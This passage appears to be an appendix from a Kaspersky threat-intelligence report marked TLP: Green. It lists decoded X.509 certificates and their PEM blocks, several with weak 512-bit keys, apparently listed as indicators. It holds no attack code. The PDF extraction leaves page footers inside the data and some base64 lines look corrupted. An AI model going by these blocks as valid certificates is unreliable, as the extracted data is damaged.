be:de:9a:d5:77:a7:37:e6:27:48:5b:b0:bc:ac:48:50:b6:db: 26:aa:27:db:c5:f3:8f:43:b9:92:46:48:ac:f4:98:60:05:ab: c6:0b BEGIN CERTIFICATE MIIC4jCCAkugAwIBAgICAzQwDQYJKoZIhvcNAQEEBQAwUzELMAkGA1UEBhMCVVMx HDAaBgNVBAoTE0VxdWlmYXggU2VjdXJlIEluYy4xJjAkBgNVBAMTHUVxdWlmYXgg U2VjdXJlIGVCdXNpbmVzcyBDQS0xMB4XDTA1MDIyODA1NTY0NloXDTA3MDMzMTA1 NTY0Nlowge0xCzAJBgNVBAYTAklTMSEwHwYDVQQKExhzZWN1cmUuaG90ZWxyZXlr amF2aWsuaXMxPDA6BgNVBAsTM2h0dHBzOi8vc2VydmljZXMuY2hvaWNlcG9pbnQu bmV0L2dldC5qc3A/R1Q1MDIzNzYxODEmMCQGA1UECxMdU2VlIHd3dy5mcmVlc3Ns LmNvbS9jcHMgKGMpMDQxMjAwBgNVBAsTKURvbWFpbiBDb250cm9sIFZhbGlkYXRl ZCAtIFN0YXJ0ZXJTU0woVE0pMSEwHwYDVQQDExhzZWN1cmUuaG90ZWxyZXlramF2 aWsuaXMwXDANBgkqhkiG9w0BAQEFAANLADBIAkEA22sNU43hcfHiSKrrlND6FMYk DnbItynjkYxEEmIQq/ymsXHou/stYyjSfRHzxJP6Gzdm16RDYdyahfq1XEUvQID AQABo24wbDAOBgNVHQ8BAf8EBAMCBPAwOQYDVR0fBDIwMDAuoCygKoYoaHR0cDov L2NybC5nZW90cnVzdC5jb20vY3Jscy9lYml6Y2ExLmNybDAfBgNVHSMEGDAWgBRK eDJSEdtZFjZe38EUNkBqR3xMoTANBgkqhkiG9w0BAQQFAAOBgQB4Rf20ZOhQFgDw NTnNq7bt7g1xOy5kjpJC9g0jKML44t/Q6pzq162BgPKuy5VwfeIvwCGa1wzSMJSm CMr/M4AzKf32FPVJyK4d62tuv1jT8dVL8Tw6DQYcrCm3prVd6c35idIW7C8rEhQ ttsmqifbxfOPQ7mSRkis9JhgBavGCw END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 26:7b:de:88:8b:c1:50:15:11:00:f2:54:d8:ca:ed:67 Signature Algorithm: sha1WithRSAEncryption Issuer: CUS, OThawte, Inc., CNThawte Code Signing CA G2 Validity Not Before: Jul 19 00:00:00 2013 GMT Not After : Jul 16 23:59:59 2014 GMT Subject: CCN, STHenan, LXuchang, OXuchang Hongguang Technology Co.,Ltd., CNXuchang Hongguang Technology Co.,Ltd. Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (2048 bit) Modulus: 30 TLP: Green For any inquiries, please contact intelreportskaspersky.com 00:d0:5f:76:e6:03:cf:29:ad:17:01:b3:af:9e:3c: 4d:b3:45:5c:e7:4d:92:c4:2a:a1:5c:4f:20:c3:86: 49:09:72:4f:81:60:2f:95:1c:9d:65:b6:50:0e:72: 71:f9:9d:f6:8f:98:ec:5c:7b:ef:3e:a6:43:ed:35: 0e:44:81:e7:60:93:fc:13:d1:67:a7:3f:39:b6:c5: 4a:95:89:48:e0:f4:92:46:e2:d4:cf:de:66:b4:f0: b9:73:35:2f:37:43:89:34:94:88:49:eb:93:84:24: 48:a5:0a:6f:d3:0b:8d:28:40:ca:09:0a:d2:ee:85: 18:60:bc:af:90:21:08:ff:7c:87:ab:30:cc:78:6f: 95:a6:19:80:cc:57:5b:fa:33:fd:68:33:5f:4c:8a: 73:b3:f3:82:c6:b8:51:c6:5e:d4:1f:59:c0:61:da: b0:5a:e3:b6:62:f3:ac:42:13:a1:81:c3:1d:eb:a1: 76:a8:a8:83:dd:76:bd:af:15:71:47:55:b9:55:e5: 5b:a8:49:15:4e:6d:97:c9:9e:4b:81:47:14:35:ae: 09:dc:0d:39:2e:5c:41:da:65:fb:fe:89:c6:ca:02: 4b:1d:9f:51:f4:00:8a:43:8d:9b:ce:a1:5e:b9:23: b5:3b:ee:9f:1f:01:30:5d:93:2a:a5:d6:4b:bd:4c: 1b:0f Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: critical CA:FALSE X509v3 CRL Distribution Points: Full Name: URI:http://csg2crl. thawte.com/ThawteCSG2.crl X509v3 Extended Key Usage: Code Signing, Microsoft Commercial Code Signing 2.5.29.4: 0.0.0.. .....7....... Authority Information Access: OCSP URI: http://ocsp.thawte.com Netscape Cert Type: Object Signing Signature Algorithm: sha1WithRSAEncryption 20:71:27:39:c1:af:ca:1b:47:0e:9b:81:44:5a:fe:e6:27:b1: 35:fa:c2:94:ac:ed:e2:1b:83:9a:d5:c8:92:06:a7:d3:6f:ef: 39:4a:31:87:3d:66:d8:e5:fb:f9:f2:47:77:9c:01:ee:56:9a: 31 TLP: Green For any inquiries, please contact intelreportskaspersky.com 72:32:0f:60:ce:94:3f:a6:9b:55:8c:97:3d:15:c9:97:4e:ba: 24:b8:cc:1d:46:ac:5e:27:c6:9e:e6:07:23:9d:31:36:d3:f4: dc:88:71:33:c5:71:fd:8f:1e:05:22:c0:89:ca:96:75:9c:fa: db:72:b2:ad:89:a9:4a:4b:82:ec:9e:70:87:ce:44:7f:79:08: 2e:ed:29:e8:35:0b:be:39:da:f6:3c:44:e9:c1:85:f3:bb:b2: a8:1c:30:d4:ef:fc:ac:64:f4:8b:38:37:ed:3c:92:18:3d:1f: 68:7a:cd:2e:58:6d:e5:24:2e:27:4a:ea:0b:07:3a:e5:30:00: 7d:c1:3d:09:89:1e:ae:aa:fb:de:ed:59:6b:ed:32:88:3d:a5: 83:3f:40:fb:22:04:81:d3:de:92:ae:49:57:a7:16:4a:ce:29: 87:dc:c4:90:1b:d8:ac:6b:be:e5:15:c2:e4:af:cf:5a:bc:d5: 25:c0:52:26:f5:3c:50:21:9a:d7:11:69:6e:31:b4:64:f9:46: 86:a5:34:00 BEGIN CERTIFICATE MIIEOjCCAyKgAwIBAgIQJnveiIvBUBURAPJU2MrtZzANBgkqhkiG9w0BAQUFADBK MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMVGhhd3RlLCBJbmMuMSQwIgYDVQQDExtU aGF3dGUgQ29kZSBTaWduaW5nIENBIC0gRzIwHhcNMTMwNzE5MDAwMDAwWhcNMTQw NzE2MjM1OTU5WjCBjzELMAkGA1UEBhMCQ04xDjAMBgNVBAgTBUhlbmFuMRAwDgYD VQQHFAdYdWNoYW5nMS4wLAYDVQQKFCVYdWNoYW5nIEhvbmdndWFuZyBUZWNobm9s b2d5IENvLixMdGQuMS4wLAYDVQQDFCVYdWNoYW5nIEhvbmdndWFuZyBUZWNobm9s b2d5IENvLixMdGQuMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0F92 5gPPKa0XAbOvnjxNs0Vc502SxCqhXE8gw4ZJCXJPgWAvlRydZbZQDnJxZ32j5js XHvvPqZD7TUORIHnYJP8E9Fnpz85tsVKlYlI4PSSRuLUz95mtPC5czUvN0OJNJSI SeuThCRIpQpv0wuNKEDKCQrS7oUYYLyvkCEI/3yHqzDMeGVphmAzFdbjP9aDNf TIpzs/OCxrhRxl7UH1nAYdqwWuO2YvOsQhOhgcMd66F2qKiD3Xa9rxVxR1W5VeVb qEkVTm2XyZ5LgUcUNa4J3A05LlxB2mX7/onGygJLHZ9R9ACKQ42bzqFeuSO1O6f HwEwXZMqpdZLvUwbDwIDAQABo4HVMIHSMAwGA1UdEwEB/wQCMAAwOwYDVR0fBDQw MjAwoC6gLIYqaHR0cDovL2NzLWcyLWNybC50aGF3dGUuY29tL1RoYXd0ZUNTRzIu Y3JsMB8GA1UdJQQYMBYGCCsGAQUFBwMDBgorBgEEAYI3AgEWMB0GA1UdBAQWMBQw DjAMBgorBgEEAYI3AgEWAwIHgDAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAGG Fmh0dHA6Ly9vY3NwLnRoYXd0ZS5jb20wEQYJYIZIAYb4QgEBBAQDAgQQMA0GCSqG SIb3DQEBBQUAA4IBAQAgcSc5wa/KG0cOm4FEWv7mJ7E1sKUrO3iG4Oa1ciSBqfT b85SjGHPWbY5fv58kd3nAHuVppyMg9gzpQ/pptVjJc9FcmXTrokuMwdRqxeJ8ae 5gcjnTE20/TciHEzxXH9jx4FIsCJypZ1nPrbcrKtialKS4LsnnCHzkR/eQgu7Sno NQuOdr2PETpwYXzu7KoHDDU7/ysZPSLODftPJIYPR9oes0uWG3lJC4nSuoLBzrl MAB9wT0JiR6uqvve7Vlr7TKIPaWDP0D7IgSB096SrklXpxZKzimH3MSQG9isa77l FcLkr89avNUlwFIm9TxQIZrXEWluMbRkUaGpTQA END CERTIFICATE 32 TLP: Green For any inquiries, please contact intelreportskaspersky.com Certificate: Data: Version: 3 (0x2) Serial Number: 2786200 (0x2a8398) Signature Algorithm: sha1WithRSAEncryption Issuer: CMY, ODigicert Sdn. Bhd., OU457608K, CNDigisign Server ID (Enrich) Validity Not Before: Mar 29 03:40:07 2010 GMT Not After : Mar 29 03:40:07 2012 GMT Subject: CMY, ODigicert Sdn Bhd, OUCA Operation, CNmcrs.digicert.com.my, LKL, STWP Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:d1:e9:78:55:9c:79:70:eb:11:d3:d5:2f:c9:b0: 3a:1a:81:c9:cc:6a:ce:f7:5e:36:11:c3:9a:bd:e0: 06:95:6e:98:a3:7e:92:01:1d:ca:b2:9f:6c:a1:e1: ea:50:18:09:a3:35:84:bc:df:9b:9c:60:b5:a4:18: 6c:0d:d9:10:35 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: 40:D1:03:5E:67:7C:07:9D X509v3 Certificate Policies: Policy: 2.16.458.1.1 CPS: http://www.digicert.com.my/cps.htm X509v3 Authority Key Identifier: keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C 5:74:6E:84:77 X509v3 Key Usage: Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment Signature Algorithm: sha1WithRSAEncryption 12:13:d6:69:03:9a:dd:fc:0d:e9:7e:53:ef:79:e5:bd:47:c7: 46:a0:0b:d9:7f:52:a6:1e:65:4e:a2:b1:73:83:93:93:e2:d0: bd:72:de:8e:fd:3f:ba:bb:66:c4:5d:98:2a:39:fa:8c:f0:84: 00:36:c5:05:dc:2b:6c:a9:1d:e0:90:20:84:0e:48:ff:83:bf: 51:87:e6:04:49:83:73:f0:0d:48:fb:c5:d8:ea:c2:ef:95:11: 33 TLP: Green For any inquiries, please contact intelreportskaspersky.com a3:81:9d:34:54:00:e6:93:3b:79:a2:ec:ed:1d:b7:e8:08:4a: 4e:f9:e7:0f:b2:c6:32:d0:84:de:b7:e6:a2:4f:1f:2a:58:c7: b4:61 BEGIN CERTIFICATE MIICmjCCAgOgAwIBAgIDKoOYMA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAk1Z MRswGQYDVQQKExJEaWdpY2VydCBTZG4uIEJoZC4xETAPBgNVBAsTCDQ1NzYwOC1L MSQwIgYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkwHhcNMTAwMzI5 MDM0MDA3WhcNMTIwMzI5MDM0MDA3WjB4MQswCQYDVQQGEwJNWTEZMBcGA1UEChMQ RGlnaWNlcnQgU2RuIEJoZDEVMBMGA1UECxMMQ0EgT3BlcmF0aW9uMR0wGwYDVQQD ExRtY3JzLmRpZ2ljZXJ0LmNvbS5teTELMAkGA1UEBxMCS0wxCzAJBgNVBAgTAldQ MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANHpeFWceXDrEdPVL8mwOhqBycxqzvde NhHDmr3gBpVumKNkgEdyrKfbKHh6lAYCaM1hLzfm5xgtaQYbA3ZEDUCAwEAAaOB ijCBhzARBgNVHQ4ECgQIQNEDXmd8B50wRAYDVR0gBD0wOzA5BgVgg0oBATAwMC4G CCsGAQUFBwIBFiJodHRwOi8vd3d3LmRpZ2ljZXJ0LmNvbS5teS9jcHMuaHRtMB8G A1UdIwQYMBaAFMYWk04WFwWroyUdvOGbcV0boR3MAsGA1UdDwQEAwIE8DANBgkq hkiG9w0BAQUFAAOBgQASE9ZpA5rd/A3pflPveeW9R8dGoAvZf1KmHmVOorFzg5OT 4tC9ct6O/T6u2bEXZgqOfqM8IQANsUF3CtsqR3gkCCEDkj/g79RhYESYNz8A1I 8XY6sLvlRGjgZ00VADmkzt5ouztHbfoCEpOecPssYy0ITetaiTx8qWMe0YQ END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 01:00:00:00:00:01:1f:71:31:72:c9 Signature Algorithm: sha1WithRSAEncryption Issuer: OGlobalSign Inc, CNCybertrust SureServer CA Validity Not Before: Feb 13 19:00:51 2009 GMT Not After : Feb 13 19:00:51 2011 GMT Subject: CNinpack.syniverse.com, CUS/emailAddressbelinda.jablonskisyniverse.com, LTampa, OSyniverse Technologies Inc., OUCrossroads, STFlorida Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:a5:13:53:17:02:f7:cd:33:64:7d:e8:27:8f:e9: bc:ab:db:96:3b:41:0d:b6:c4:2a:10:d5:64:58:87: 34 TLP: Green For any inquiries, please contact intelreportskaspersky.com ac:62:de:09:2e:c5:5f:79:c5:d5:9e:26:9b:1a:9a: e3:99:3b:e2:2e:48:7e:9c:5f:74:c9:34:09:b3:a5: 40:7f:bb:e9:35 Exponent: 65537 (0x10001) X509v3 extensions: Netscape Cert Type: SSL Client, SSL Server X509v3 Key Usage: critical Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment X509v3 Authority Key Identifier: keyid:2B:37:53:93:64:47:66:23:4F:00:D3:F7:DD:E8:30:B 6:5B:84:89:23 X509v3 CRL Distribution Points: Full Name: URI:http://crl.globalsign.net/sureserver.crl X509v3 Basic Constraints: critical CA:FALSE Signature Algorithm: sha1WithRSAEncryption 95:2a:42:59:bd:18:1a:ec:20:e9:96:0d:7f:f2:bc:4e:79:8a: 44:21:a4:d7:46:03:94:a8:ec:d0:28:29:07:d0:f5:bc:91:c5: 21:34:16:dd:87:ee:dc:6a:d4:e7:f4:d4:f9:a6:04:bb:60:53: 2b:14:19:8a:2c:2e:1f:6a:8f:97:22:d6:f4:e5:44:06:c2:22: ee:cf:b2:19:67:fa:40:0f:9c:cf:58:7f:53:21:af:c0:02:ad: d8:7c:19:3c:f3:52:f4:10:30:f0:61:24:a9:9d:18:01:a3:f5: c9:29:ab:65:66:ef:a5:2d:cd:53:e2:44:09:ea:8d:4c:bc:ef: 1a:b6:2c:7b:df:16:39:94:8b:33:cb:14:16:c2:93:42:6c:4d: 18:99:ba:7b:fa:91:74:f0:9a:1e:ae:92:b4:94:43:bb:96:ba: 7e:6a:df:38:9c:2e:7c:11:37:37:4c:20:80:5d:6b:e2:94:41: 98:7d:cc:26:ca:cc:4f:81:4d:95:16:bb:26:db:1f:fe:03:fc: a2:50:9c:49:0b:45:7c:86:fc:5c:a6:31:34:f2:08:f1:03:16: 10:e0:90:0c:e7:02:4e:95:f5:e8:32:03:a3:fb:78:17:dc:23: bf:b4:59:e6:6f:91:1c:38:cd:b7:9e:48:a0:6b:68:98:00:e3: 33:48:18:ae BEGIN CERTIFICATE MIIDRDCCAiygAwIBAgILAQAAAAABH3ExcskwDQYJKoZIhvcNAQEFBQAwPDEXMBUG A1UEChMOR2xvYmFsU2lnbiBJbmMxITAfBgNVBAMTGEN5YmVydHJ1c3QgU3VyZVNl cnZlciBDQTAeFw0wOTAyMTMxOTAwNTFaFw0xMTAyMTMxOTAwNTFaMIG5MR0wGwYD VQQDExRpbnBhY2suc3luaXZlcnNlLmNvbTELMAkGA1UEBhMCVVMxLjAsBgkqhkiG 35 TLP: Green For any inquiries, please contact intelreportskaspersky.com 9w0BCQEWH2JlbGluZGEuamFibG9uc2tpQHN5bml2ZXJzZS5jb20xDjAMBgNVBAcT BVRhbXBhMSQwIgYDVQQKExtTeW5pdmVyc2UgVGVjaG5vbG9naWVzIEluYy4xEzAR BgNVBAsTCkNyb3Nzcm9hZHMxEDAOBgNVBAgTB0Zsb3JpZGEwXDANBgkqhkiG9w0B AQEFAANLADBIAkEApRNTFwL3zTNkfegnjm8q9uWO0ENtsQqENVkWIesYt4JLsVf ecXVniabGprjmTviLkhnF90yTQJs6VAf7vpNQIDAQABo4GQMIGNMBEGCWCGSAGG EIBAQQEAwIGwDAOBgNVHQ8BAf8EBAMCBPAwHwYDVR0jBBgwFoAUKzdTk2RHZiNP ANP33egwtluEiSMwOQYDVR0fBDIwMDAuoCygKoYoaHR0cDovL2NybC5nbG9iYWxz aWduLm5ldC9zdXJlc2VydmVyLmNybDAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3DQEB BQUAA4IBAQCVKkJZvRga7CDplg1/8rxOeYpEIaTXRgOUqOzQKCkH0PW8kcUhNBbd h7catTn9NT5pgS7YFMrFBmKLC4faoXItb05UQGwiLuz7IZZ/pAD5zPWH9TIa/A Aq3YfBk881L0EDDwYSSpnRgBo/XJKatlZulLc1T4kQJ6o1MvO8atix73xY5lIsz yxQWwpNCbE0Ymbp7pF08JoerpK0lEO7lrpat84nC58ETc3TCCAXWvilEGYfcwm ysxPgU2VFrsm2x/A/yiUJxJC0V8hvxcpjE08gjxAxYQ4JAM5wJOlfXoMgOj3gX 3CO/tFnmb5EcOM23nkiga2iYAOMzSBiu END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 01:00:00:00:00:01:1d:91:a4:6e:5b Signature Algorithm: sha1WithRSAEncryption Issuer: CBE, OCybertrust, OUEducational CA, CNCybertrust Educational CA Validity Not Before: Nov 12 16:59:48 2008 GMT Not After : Nov 12 16:59:48 2011 GMT Subject: CGB, STNorfolk, LNorwich, OCity College Norwich, OUI.T. Services, CNstfmail.ccn.ac.uk Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:c6:5c:e9:3d:a8:bc:74:31:fd:9b:20:34:30:cd: dc:50:6a:58:9b:41:6a:1e:04:9f:75:c2:90:1f:d8: a7:b3:3a:8f:5a:29:f8:2d:b6:91:b0:71:9a:ab:4c: a1:f6:12:8d:9b:01:fa:27:cd:f4:ed:08:50:48:3a: 29:3b:16:94:4f Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Key Usage: critical 36 TLP: Green For any inquiries, please contact intelreportskaspersky.com Digital Signature, Key Encipherment X509v3 Authority Key Identifier: keyid:65:65:A3:3D:D7:3B:11:A3:0A:07:25:37:C9:42:4A:5 B:76:77:50:E1 X509v3 Subject Key Identifier: BE:7E:E3:53:BD:00:32:5E:3C:78:2B:02:B2:BF:52:A2:B1: E5:F2:F8 X509v3 CRL Distribution Points: Full Name: URI:http://crl.globalsign.net/educational.crl Authority Information Access: CA Issuers URI: http://secure.globalsign.net/cacert/educational. crt Netscape Cert Type: SSL Client, SSL Server Signature Algorithm: sha1WithRSAEncryption 71:99:aa:c9:92:26:ee:32:2d:c0:95:f8:16:47:b7:d9:eb:2e: f1:93:d2:c3:3d:62:c1:9a:74:d2:2f:29:9c:08:a8:ca:52:6c: 42:c4:2b:a7:1c:96:17:af:3d:01:b5:b5:f1:70:d0:08:e1:fa: 63:e1:44:b2:61:66:3d:9c:5a:3f:3a:32:b0:47:31:3d:27:1d: 98:9c:d3:c3:c7:9f:73:55:8c:ff:d7:21:2d:76:d2:e7:df:8b: 9e:d3:ee:c5:5e:e7:6a:ba:7a:bb:7b:9e:38:00:54:ed:58:ee: 00:c1:45:8b:d4:63:25:be:22:98:a8:ef:f0:b3:f8:fb:15:32: e8:ae:da:27:e4:60:46:d6:75:78:50:1d:57:4d:06:e9:8c:b8: 43:f5:9a:58:cf:a1:f4:c7:c7:ec:4a:b0:8a:95:c7:6c:3b:50: 0a:45:74:f1:d6:02:e0:78:a7:f1:f1:55:6e:20:92:55:37:be: b6:57:76:37:ff:60:30:c3:9a:2c:0e:dd:d8:ef:2b:bf:1f:20: 9d:a5:21:93:94:9a:1e:58:74:b8:24:ce:a4:38:7b:1d:38:fd: f2:9f:21:c0:49:d1:94:3e:38:7e:63:0c:0b:c3:98:ea:56:b2: 90:92:dc:75:0d:06:0b:35:9c:94:d6:e1:be:79:05:d1:27:b3: 87:23:14:0a BEGIN CERTIFICATE MIIDlTCCAn2gAwIBAgILAQAAAAABHZGkblswDQYJKoZIhvcNAQEFBQAwXzELMAkG A1UEBhMCQkUxEzARBgNVBAoTCkN5YmVydHJ1c3QxFzAVBgNVBAsTDkVkdWNhdGlv bmFsIENBMSIwIAYDVQQDExlDeWJlcnRydXN0IEVkdWNhdGlvbmFsIENBMB4XDTA4 MTExMjE2NTk0OFoXDTExMTExMjE2NTk0OFowgYQxCzAJBgNVBAYTAkdCMRAwDgYD VQQIEwdOb3Jmb2xrMRAwDgYDVQQHEwdOb3J3aWNoMR0wGwYDVQQKExRDaXR5IENv bGxlZ2UgTm9yd2ljaDEWMBQGA1UECxMNSS5ULiBTZXJ2aWNlczEaMBgGA1UEAxMR 37 TLP: Green For any inquiries, please contact intelreportskaspersky.com c3RmbWFpbC5jY24uYWMudWswXDANBgkqhkiG9w0BAQEFAANLADBIAkEAxlzpPai8 dDH9myA0MM3cUGpYm0FqHgSfdcKQH9inszqPWin4LbaRsHGaq0yh9hKNmwH6J830 7QhQSDopOxaUTwIDAQABo4HzMIHwMA4GA1UdDwEB/wQEAwIFoDAfBgNVHSMEGDAW gBRlZaM91zsRowoHJTfJQkpbdndQ4TAdBgNVHQ4EFgQUvn7jU70AMl48eCsCsr9S orHl8vgwOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybC5nbG9iYWxzaWduLm5l dC9lZHVjYXRpb25hbC5jcmwwTwYIKwYBBQUHAQEEQzBBMD8GCCsGAQUFBzAChjNo dHRwOi8vc2VjdXJlLmdsb2JhbHNpZ24ubmV0L2NhY2VydC9lZHVjYXRpb25hbC5j cnQwEQYJYIZIAYb4QgEBBAQDAgbAMA0GCSqGSIb3DQEBBQUAA4IBAQBxmarJkibu Mi3AlfgWR7fZ6y7xk9LDPWLBmnTSLymcCKjKUmxCxCunHJYXrz0BtbXxcNAI4fpj 4USyYWY9nFo/OjKwRzE9Jx2YnNPDx59zVYz/1yEtdtLn34ue07FXudqunq7e544 AFTtWO4AwUWL1GMlviKYqO/ws/j7FTLorton5GBG1nV4UB1XTQbpjLhD9ZpYz6H0 x8fsSrCKlcdsO1AKRXTx1gLgeKfx8VVuIJJVN762V3Y3/2Aww5osDt3Y7yu/HyCd pSGTlJoeWHS4JM6kOHsdOP3ynyHASdGUPjhYwwLw5jqVrKQktx1DQYLNZyU1uG eQXRJ7OHIxQK END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 01:00:00:00:00:01:1f:71:6f:21:66 Signature Algorithm: sha1WithRSAEncryption Issuer: OGlobalSign Inc, CNCybertrust SureServer CA Validity Not Before: Feb 13 19:59:00 2009 GMT Not After : Feb 13 19:59:00 2011 GMT Subject: CNagreement.syniverse.com, CUS/emailAddressbelinda.jablonskisyniverse.com, LTampa, OSyniverse Technologies Inc., OUCrossroads, STFlorida Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:a5:13:53:17:02:f7:cd:33:64:7d:e8:27:8f:e9: bc:ab:db:96:3b:41:0d:b6:c4:2a:10:d5:64:58:87: ac:62:de:09:2e:c5:5f:79:c5:d5:9e:26:9b:1a:9a: e3:99:3b:e2:2e:48:7e:9c:5f:74:c9:34:09:b3:a5: 40:7f:bb:e9:35 Exponent: 65537 (0x10001) X509v3 extensions: 38 TLP: Green For any inquiries, please contact intelreportskaspersky.com Netscape Cert Type: SSL Client, SSL Server X509v3 Key Usage: critical Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment X509v3 Authority Key Identifier: keyid:2B:37:53:93:64:47:66:23:4F:00:D3:F7:DD:E8:30:B 6:5B:84:89:23 X509v3 CRL Distribution Points: Full Name: URI:http://crl.globalsign.net/sureserver.crl X509v3 Basic Constraints: critical CA:FALSE Signature Algorithm: sha1WithRSAEncryption 60:dd:4f:65:17:a0:3d:47:d7:70:d7:96:17:41:1c:b0:89:38: 9c:7e:bd:74:21:90:60:b4:04:d0:8d:12:81:a2:d5:c1:89:92: 8a:5e:6a:ae:c9:df:0a:78:e9:70:7f:b9:9b:3e:08:ab:74:6b: ab:99:cb:9b:f4:1e:61:53:7f:13:3f:5b:26:ea:57:11:fa:d7: 3b:90:8c:59:23:d4:73:66:9e:aa:47:72:04:9a:bf:d8:29:aa: c1:4d:f3:32:e5:c3:26:8a:98:da:07:bf:b7:07:0e:1a:4e:a2: 13:51:c6:2c:11:7f:2c:40:c6:0f:a1:4d:51:6a:33:7b:9d:52: 9b:4b:f9:85:6a:13:44:81:2e:8f:a9:2d:ce:29:57:54:3b:d8: 1b:d8:20:5a:c1:46:16:93:3f:34:e3:4a:5a:e8:54:f2:9b:b6: 14:4a:10:9b:db:d4:33:7b:76:13:29:c9:f8:44:02:98:94:5d: 09:30:a0:a3:f0:94:1c:94:48:83:03:66:2c:40:92:b4:75:44: 35:f4:8d:be:21:51:47:86:cd:fb:67:55:6d:a6:17:df:79:3f: 31:31:63:97:fc:8d:1a:14:9c:7e:68:13:bc:1b:2b:54:c9:a7: e3:05:8a:f7:43:0a:06:6d:07:e3:f3:34:1d:92:be:30:9d:95: 05:8c:35:ba BEGIN CERTIFICATE MIIDRzCCAigAwIBAgILAQAAAAABH3FvIWYwDQYJKoZIhvcNAQEFBQAwPDEXMBUG A1UEChMOR2xvYmFsU2lnbiBJbmMxITAfBgNVBAMTGEN5YmVydHJ1c3QgU3VyZVNl cnZlciBDQTAeFw0wOTAyMTMxOTU5MDBaFw0xMTAyMTMxOTU5MDBaMIG8MSAwHgYD VQQDExdhZ3JlZW1lbnQuc3luaXZlcnNlLmNvbTELMAkGA1UEBhMCVVMxLjAsBgkq hkiG9w0BCQEWH2JlbGluZGEuamFibG9uc2tpQHN5bml2ZXJzZS5jb20xDjAMBgNV BAcTBVRhbXBhMSQwIgYDVQQKExtTeW5pdmVyc2UgVGVjaG5vbG9naWVzIEluYy4x EzARBgNVBAsTCkNyb3Nzcm9hZHMxEDAOBgNVBAgTB0Zsb3JpZGEwXDANBgkqhkiG 9w0BAQEFAANLADBIAkEApRNTFwL3zTNkfegnjm8q9uWO0ENtsQqENVkWIesYt4J LsVfecXVniabGprjmTviLkhnF90yTQJs6VAf7vpNQIDAQABo4GQMIGNMBEGCWCG 39 TLP: Green For any inquiries, please contact intelreportskaspersky.com SAGGEIBAQQEAwIGwDAOBgNVHQ8BAf8EBAMCBPAwHwYDVR0jBBgwFoAUKzdTk2RH ZiNPANP33egwtluEiSMwOQYDVR0fBDIwMDAuoCygKoYoaHR0cDovL2NybC5nbG9i YWxzaWduLm5ldC9zdXJlc2VydmVyLmNybDAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3 DQEBBQUAA4IBAQBg3U9lF6A9R9dw15YXQRywiTicfr10IZBgtATQjRKBotXBiZKK Xmquyd8KeOlwf7mbPgirdGurmcub9B5hU38TP1sm6lcRtc7kIxZI9RzZp6qR3IE mr/YKarBTfMy5cMmipjaB73Bw4aTqITUcYsEX8sQMYPoU1RajN7nVKbS/mFahNE gS6PqS3OKVdUO9gb2CBawUYWkz8040pa6FTym7YUShCb29Qze3YTKcn4RAKYlF0J MKCj8JQclEiDA2YsQJK0dUQ19I2IVFHhs37Z1VtphffeT8xMWOX/I0aFJxaBO8 GytUyafjBYr3QwoGbQfj8zQdkr4wnZUFjDW6 END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 2786749 (0x2a85bd) Signature Algorithm: sha1WithRSAEncryption Issuer: CMY, ODigicert Sdn. Bhd., OU457608K, CNDigisign Server ID (Enrich) Validity Not Before: Mar 29 04:26:21 2010 GMT Not After : Mar 29 04:26:21 2012 GMT Subject: CMY, ODigicert Sdn. Bhd., CNmcrs2.digicert. com.my, LKuala Lumpur Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:c2:f6:81:3d:67:9c:8a:93:22:6f:c1:cf:a9:85: ec:d1:40:b6:79:ea:02:47:88:c2:bb:dd:59:97:49: f5:59:a8:be:0d:10:17:79:9b:0b:ee:a5:4c:7a:db: 73:d8:26:49:76:2b:4f:fc:4e:aa:1d:e1:57:22:d5: 0b:cd:d5:da:69 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: 42:C0:71:88:BF:7B:00:93 X509v3 Certificate Policies: Policy: 2.16.458.1.1 CPS: http://www.digicert.com.my/cps.htm X509v3 Authority Key Identifier: 40 TLP: Green For any inquiries, please contact intelreportskaspersky.com keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C 5:74:6E:84:77 X509v3 Key Usage: Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment Signature Algorithm: sha1WithRSAEncryption 39:ec:d4:6b:f2:e7:d4:47:5e:59:6e:bf:83:59:7b:32:17:cb: 4e:37:e7:2d:5c:44:ea:68:08:94:e9:47:33:cb:e2:cc:ad:c7: cc:28:f1:07:a7:9a:f6:f8:55:76:c4:31:72:98:e3:11:5b:aa: d5:d6:ff:99:52:69:61:48:91:31:df:ff:d3:39:f0:d1:94:29: 55:5b:6e:d1:d7:2d:da:7c:ef:6e:a4:10:fd:b4:22:4b:9e:41: 85:f6:63:b6:e7:10:5c:88:1e:04:20:36:48:22:f5:ba:a4:8c: 24:d3:81:78:c1:c1:d3:c9:8c:ba:a5:62:e6:e3:a8:e8:e4:21: d5:72 BEGIN CERTIFICATE 